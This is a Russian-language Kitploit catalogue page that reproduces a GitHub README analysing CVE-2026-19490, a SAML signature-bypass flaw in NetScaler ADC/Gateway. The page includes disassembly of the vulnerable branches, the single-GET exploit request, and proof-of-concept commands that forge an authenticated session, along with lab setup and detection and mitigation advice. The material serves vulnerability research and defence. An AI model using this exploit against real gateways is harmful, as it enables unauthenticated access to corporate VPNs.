Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2026-19490 — NetScaler ADC/Gateway SAML: обход неподписанных утверждений через HTTP-Redirect binding (CTX696939) — анализ первопричины + PoC | Kitploit
Инструменты/GitHubGitHub/tarpeg007/cve-2026-19490
Анализ уязвимостейЭксплуатацияЭксплуатация веб-приложенийТестирование на ПроникновениеАнализ Бинарных ФайловАутентификацияRed Teaming
GitHubtarpeg007/cve-2026-19490

CVE-2026-19490

NetScaler ADC/Gateway SAML: обход неподписанных утверждений через HTTP-Redirect binding (CTX696939) — анализ первопричины + PoC

Репозиторий
19 ч 6 мин назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

CVE-2026-19490 — Обход аутентификации SAML в NetScaler ADC/Gateway

Подделка сеанса без аутентификации в Citrix NetScaler ADC / NetScaler Gateway через обработчик привязки HTTP-Redirect SAML по адресу GET /cgi/samlauth. CVSS 4.0 9.3, CWE-288. Бюллетень CTX696939 (2026-08-19), обходных путей нет. Авторство исходного отчёта принадлежит Самарту Вашишту (команда пен-теста JPMorgan Chase); анализ первопричины и код в этом репозитории — моя собственная работа.

Затронуты: 14.1 до 14.1-73.32, 13.1 до 13.1-63.21. Исправлено в этих двух сборках.

первопричина

В nsppe, пакетном движке, одновременно сходятся две проблемы.

1. Привязка redirect разбирает утверждения со снятым флагом strict.

Все точки вызова парсера ответов SAML (sub_b40a50) перед вызовом настраивают аргумент "strict". Путь привязки POST (то, что браузеры реально используют для ответов SAML) передаёт его установленным. Путь привязки HTTP-Redirect — нет:

root@kitploit:~
$ objdump -d -M intel --start-address=0xb7f532 --stop-address=0xb7f558 nsppe-14.1-73.30
  b7f532: 41 b8 00 00 00 00     mov    r8d,0x0          <-- strict ВЫКЛ
  b7f538: 48 8d 8d d8 fe ff ff  lea    rcx,[rbp-0x128]
  b7f53f: 48 8b 95 b8 fe ff ff  mov    rdx,[rbp-0x148]
  b7f546: 8b b5 cc fe ff ff     mov    esi,[rbp-0x134]
  b7f54c: 48 8b 3d f5 9f 6f 02  mov    rdi,[rip+0x26f9ff5]
  b7f553: e8 f8 14 fc ff        call   b40a50            <-- парсер

Это альтернативный путь в смысле CWE-288. Та же поверхность запроса, более слабый вызов парсера, доступен любому, кто может отправить GET с параметром запроса SAMLResponse.

2. Шлюз неподписанных утверждений трактует конфигурацию по умолчанию как ALLOW.

Внутри обработчика redirect, когда запрос не несёт SigAlg/Signature, слово конфигурации для rejectUnsignedAssertion сравнивается и разветвляется так:

root@kitploit:~
$ objdump -d -M intel --start-address=0xb7ee3b --stop-address=0xb7ee41 nsppe-14.1-73.30
  b7ee3b: 83 78 08 02           cmp    DWORD PTR [rax+0x8],0x2
  b7ee3f: 74 5d                 je     b7ee9e            <-- переход на путь ПРИЁМА

Значения слова: 2 = rejectUnsignedAssertion ON (по умолчанию), 3 = STRICT. Инструкция je отправляет 2 на приём. Только STRICT достигает строки журнала отказа:

root@kitploit:~
$ strings -t x nsppe-14.1-73.30 | grep 'denying as per action'
  2020998 SAMLIDP: Redirect Binding: Unsigned Assertion seen, denying as per action %s

Таким образом, на машине с конфигурацией по умолчанию неподписанное утверждение, переданное привязке redirect, разбирается (strict выключен), принимается мимо шлюза неподписанных утверждений (ON ошибочно читается как разрешение), а затем выполняет обычные шаги после разбора: проверки издателя/аудитории/субъекта против конфигурации действия SAML, затем построение сеанса из полей, предоставленных атакующим. Никакого digest, никакой проверки RSA на этом маршруте нет. Привязка POST не затронута таким же образом — она передаёт strict парсеру и корректно отклоняет неподписанный ввод.

Предварительные условия согласно бюллетеню, подтверждённые по бинарнику: сборки от 14.1-43.56 / 13.1-61.28 и новее требуют действие SAML, привязанное к vserver Gateway или AAA (обычная настройка SAML SSO, так что большинство развёртываний SAML подходят). Более ранние сборки регистрируют маршрут с одним лишь vserver.

форма эксплойта

Один GET. Соберите ответ SAML без <ds:Signature> где-либо, DEFLATE + base64 его, и отправьте:

root@kitploit:~
GET /cgi/samlauth?SAMLResponse=<b64(raw-deflate(xml))>&RelayState=<ctx> HTTP/1.1
Host: <gateway>

Значения, которые должны совпадать с конфигурацией действия SAML цели: Issuer утверждения = идентификатор сущности IdP, Audience = идентификатор сущности SP, Recipient/Destination = URL ACS, а в транзакционных настройках — InResponseTo из живого AuthnRequest. --mint проходит по собственному перенаправлению входа pre-auth шлюза, чтобы захватить их (SAMLRequest в заголовке Location несёт их все). 302 на /vpn/ плюс настоящий cookie NSC_AAAC / NSC_TASS (не маркеры удаления xyz) — это подделанный сеанс под тем NameID, который вы указали.

использование

root@kitploit:~
pip install requests

# есть ли конечная точка и обрабатывает ли GET-привязка SAMLResponse вообще
python3 poc.py https://vpn.target.com --check-only

# неинтрузивный зонд конфигурации: неподписанное утверждение с заведомо НЕВЕРНЫМ issuer.
#   'Malformed Assertion' (0xe0005)  -> STRICT, не уязвим к этому вектору
#   ошибка issuer/политики (0xe0012) -> конфигурация по умолчанию, уязвим; сеанс не создаётся
python3 poc.py https://vpn.target.com --safe-oracle

# полная цепочка (только для авторизованных целей): создайте цепочку SP, подделайте, проверьте один раз
python3 poc.py https://vpn.target.com --mint --name-id [email protected]

--safe-oracle существует потому, что две конфигурации возвращают разные страницы ошибок до того, как происходит что-либо похожее на сеанс, что также позволяет защитникам провести самопроверку без обращения к реальному IdP. Запускайте его против собственного оборудования.

демонстрация

demo/demo.gif (также demo.mp4 и demo/demo.cast, если хотите воспроизвести его через asciinema play): затронутая сборка из docker-образа, конфигурация по умолчанию со словом 2, две ветки бинарника, дизассемблированные из поставляемого nsppe, и проверка конечной точки PoC. Последний шаг — выдача сеанса — требует лицензированного VPX: CPX Express отказывает в сеансах AAA на уровне лицензии, что и захватывает lab/record-demo.sh, когда такой VPX у вас есть.

лаборатория

lab/setup-cpx.sh поднимает точную затронутую сборку в docker:

root@kitploit:~
docker run -dt --privileged --name cpx19490 -e EULA=YES \
    quay.io/netscaler/netscaler-cpx:14.1-73.30
bash lab/setup-cpx.sh

и настраивает действие SAML с rejectUnsignedAssertion ON, политику и vserver Gateway. Две оговорки, усвоенные на горьком опыте:

  • CPX Express не несёт пользовательской лицензии SSLVPN/AAA. Vserver обслуживает /cgi/samlauth, но каждый запрос упирается в 480 Login exceeds maximum allowed users. Этого достаточно для воспроизведения конфигурации + конечной точки + состояния бинарника, но не финального cookie сеанса.
  • Для полного прогона с выдачей сеанса нужен VPX с бесплатной лицензией Developer Edition (My Citrix → загрузки → NetScaler VPX, затем CTX587663 для процедуры лицензирования). Тот же CLI, что и в скрипте настройки, затем lab/record-demo.sh записывает всю последовательность asciinema: версию, конфигурацию, safe-oracle, подделанный сеанс, отрицательный контроль STRICT.

Смещения в поставляемом бинарнике выше взяты прямо из этого образа:

root@kitploit:~
docker cp cpx19490:/var/netscaler/bins/nsppe ./nsppe-14.1-73.30
objdump -d -M intel --start-address=0xb7ee3b --stop-address=0xb7ee41 ./nsppe-14.1-73.30

обнаружение / смягчение

  • Обновитесь до 14.1-73.32+ / 13.1-63.21+. Поддерживаемых обходных путей нет.
  • set samlAction <name> -samlRejectUnsignedAssertion STRICT блокирует вектор redirect на уязвимом пути (делает слово == 3). Имейте в виду, что STRICT также меняет то, что машина ожидает от вашего IdP (требования к подписи Response + Assertion), что, вероятно, и есть причина, по которой Citrix поставляет ON как значение по умолчанию и почему «просто установите STRICT» — не чистое решение для всех.
  • Обнаружение: запросы к /cgi/samlauth с SAMLResponse на GET (ответы привязки redirect редки в реальном мире — браузеры используют POST), неподписанные полезные нагрузки и описанная выше разница страниц ошибок.

юридическая информация

Только для авторизованного тестирования безопасности: собственная лаборатория или цели, явно входящие в область программы, на которую вы авторизованы. Автор не связан с Citrix или исходной командой, сообщившей об уязвимости.

хронология

  • 2026-08-19 — бюллетень Citrix CTX696939, исправления выпущены
  • 2026-09 — этот анализ первопричины и PoC

Лицензия MIT, см. LICENSE.

Скачать инструмент